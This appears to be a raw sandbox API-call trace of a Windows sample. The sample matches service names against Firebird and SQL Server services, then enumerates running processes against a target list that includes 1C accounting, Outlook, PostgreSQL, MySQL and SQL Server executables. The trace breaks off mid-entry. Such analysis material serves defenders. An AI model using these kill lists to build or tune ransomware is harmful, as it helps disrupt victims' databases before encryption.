[0054.117] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0054.117] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0054.117] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0054.117] lstrlenW (lpString="CscService") returned 10 [0054.117] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0054.117] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0054.117] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0054.117] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0054.117] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0054.117] lstrlenW (lpString="DcomLaunch") returned 10 [0054.118] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0054.118] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0054.118] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0054.118] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0054.118] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0054.118] lstrlenW (lpString="Dhcp") returned 4 [0054.118] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0054.118] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0054.118] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0054.118] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0054.118] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0054.118] lstrlenW (lpString="Dnscache") returned 8 [0054.118] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0054.118] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0054.119] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0054.119] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0054.119] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0054.120] lstrlenW (lpString="DPS") returned 3 [0054.120] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0054.120] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0054.120] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0054.120] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0054.120] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0054.120] lstrlenW (lpString="eventlog") returned 8 [0054.121] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0054.121] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0054.121] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0054.122] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0054.122] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0054.122] lstrlenW (lpString="EventSystem") returned 11 [0054.122] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0054.122] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0054.123] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0054.123] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0054.123] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0054.123] lstrlenW (lpString="FontCache") returned 9 [0054.123] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0054.123] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0054.123] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0054.123] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0054.123] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0054.123] lstrlenW (lpString="gpsvc") returned 5 [0054.123] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0054.123] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0054.123] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0054.124] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0054.124] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0054.124] lstrlenW (lpString="iphlpsvc") returned 8 [0054.124] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0054.124] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0054.124] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0054.124] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0054.124] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0054.124] lstrlenW (lpString="LanmanServer") returned 12 [0054.124] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0054.124] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0054.125] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0054.125] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0054.125] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0054.125] lstrlenW (lpString="LanmanWorkstation") returned 17 [0054.125] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0054.125] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0054.125] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0054.125] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0054.125] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0054.125] lstrlenW (lpString="lmhosts") returned 7 [0054.125] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0054.125] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0054.126] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0054.126] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0054.126] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0054.126] lstrlenW (lpString="MMCSS") returned 5 [0054.126] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0054.126] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0054.126] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0054.126] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0054.126] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0054.126] lstrlenW (lpString="MpsSvc") returned 6 [0054.126] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0054.126] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0054.127] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0054.127] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0054.127] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0054.127] lstrlenW (lpString="Netman") returned 6 [0054.127] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0054.127] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0054.127] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0054.127] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0054.127] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0054.127] lstrlenW (lpString="netprofm") returned 8 [0054.127] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0054.127] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0054.128] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0054.128] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0054.128] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0054.128] lstrlenW (lpString="NlaSvc") returned 6 [0054.128] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0054.128] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0054.128] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0054.128] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0054.128] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0054.128] lstrlenW (lpString="nsi") returned 3 [0054.128] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0054.128] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0054.128] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0054.129] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0054.129] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0054.129] lstrlenW (lpString="PcaSvc") returned 6 [0054.129] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0054.129] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0054.129] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0054.129] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0054.129] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0054.129] lstrlenW (lpString="PlugPlay") returned 8 [0054.129] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0054.129] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0054.130] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0054.130] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0054.130] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0054.130] lstrlenW (lpString="Power") returned 5 [0054.130] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0054.130] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0054.130] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0054.130] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0054.130] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0054.130] lstrlenW (lpString="ProfSvc") returned 7 [0054.130] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0054.131] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0054.131] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0054.131] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0054.131] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0054.131] lstrlenW (lpString="RpcEptMapper") returned 12 [0054.131] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0054.131] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0054.131] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0054.131] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0054.131] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0054.131] lstrlenW (lpString="RpcSs") returned 5 [0054.132] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0054.132] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0054.132] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0054.132] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0054.132] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0054.132] lstrlenW (lpString="SamSs") returned 5 [0054.132] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0054.132] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0054.132] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0054.132] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0054.132] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0054.133] lstrlenW (lpString="Schedule") returned 8 [0054.133] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0054.133] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0054.133] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0054.133] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0054.133] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0054.133] lstrlenW (lpString="SENS") returned 4 [0054.133] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0054.133] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0054.133] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0054.134] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0054.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0054.134] lstrlenW (lpString="ShellHWDetection") returned 16 [0054.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0054.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0054.134] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0054.134] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0054.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0054.134] lstrlenW (lpString="Spooler") returned 7 [0054.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0054.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0054.135] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0054.135] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0054.135] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0054.135] lstrlenW (lpString="sppsvc") returned 6 [0054.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0054.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0054.135] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0054.136] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0054.136] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0054.136] lstrlenW (lpString="SysMain") returned 7 [0054.136] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0054.136] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0054.136] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0054.136] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0054.136] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0054.136] lstrlenW (lpString="Themes") returned 6 [0054.136] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0054.136] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0054.136] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0054.136] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0054.136] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0054.136] lstrlenW (lpString="TrkWks") returned 6 [0054.137] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0054.137] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0054.137] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0054.137] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0054.137] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0054.137] lstrlenW (lpString="UxSms") returned 5 [0054.137] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0054.137] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0054.137] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0054.137] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0054.137] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0054.137] lstrlenW (lpString="WdiServiceHost") returned 14 [0054.137] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0054.137] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0054.138] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0054.138] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0054.138] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0054.138] lstrlenW (lpString="WdiSystemHost") returned 13 [0054.138] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0054.138] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0054.138] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0054.138] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0054.138] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0054.138] lstrlenW (lpString="WinDefend") returned 9 [0054.138] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0054.138] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0054.138] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0054.139] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0054.139] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0054.139] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0054.139] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0054.139] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0054.139] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0054.139] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0054.139] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0054.139] lstrlenW (lpString="Winmgmt") returned 7 [0054.139] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0054.139] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0054.139] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0054.139] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0054.140] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0054.140] lstrlenW (lpString="wscsvc") returned 6 [0054.140] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0054.140] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0054.140] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0054.140] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0054.140] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0054.140] lstrlenW (lpString="wuauserv") returned 8 [0054.140] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0054.140] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0054.140] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0054.140] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0054.140] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0054.140] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4f91e8 | out: hHeap=0x4c0000) returned 1 [0054.141] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe0 [0054.164] Process32FirstW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0054.169] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0054.170] lstrlenW (lpString="System") returned 6 [0054.170] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0054.171] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0054.171] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0054.171] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0054.171] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0054.171] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0054.171] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0054.171] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0054.172] lstrlenW (lpString="smss.exe") returned 8 [0054.172] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0054.172] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0054.172] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0054.173] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0054.173] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0054.173] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0054.173] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0054.173] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0054.174] lstrlenW (lpString="csrss.exe") returned 9 [0054.174] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0054.176] lstrlenW (lpString="wininit.exe") returned 11 [0054.176] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0054.177] lstrlenW (lpString="csrss.exe") returned 9 [0054.178] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0054.179] lstrlenW (lpString="winlogon.exe") returned 12 [0054.179] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0054.181] lstrlenW (lpString="services.exe") returned 12 [0054.181] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0054.182] lstrlenW (lpString="lsass.exe") returned 9 [0054.182] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0054.184] lstrlenW (lpString="lsm.exe") returned 7 [0054.184] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.186] lstrlenW (lpString="svchost.exe") returned 11 [0054.186] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.187] lstrlenW (lpString="svchost.exe") returned 11 [0054.187] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.189] lstrlenW (lpString="svchost.exe") returned 11 [0054.189] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.190] lstrlenW (lpString="svchost.exe") returned 11 [0054.190] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, 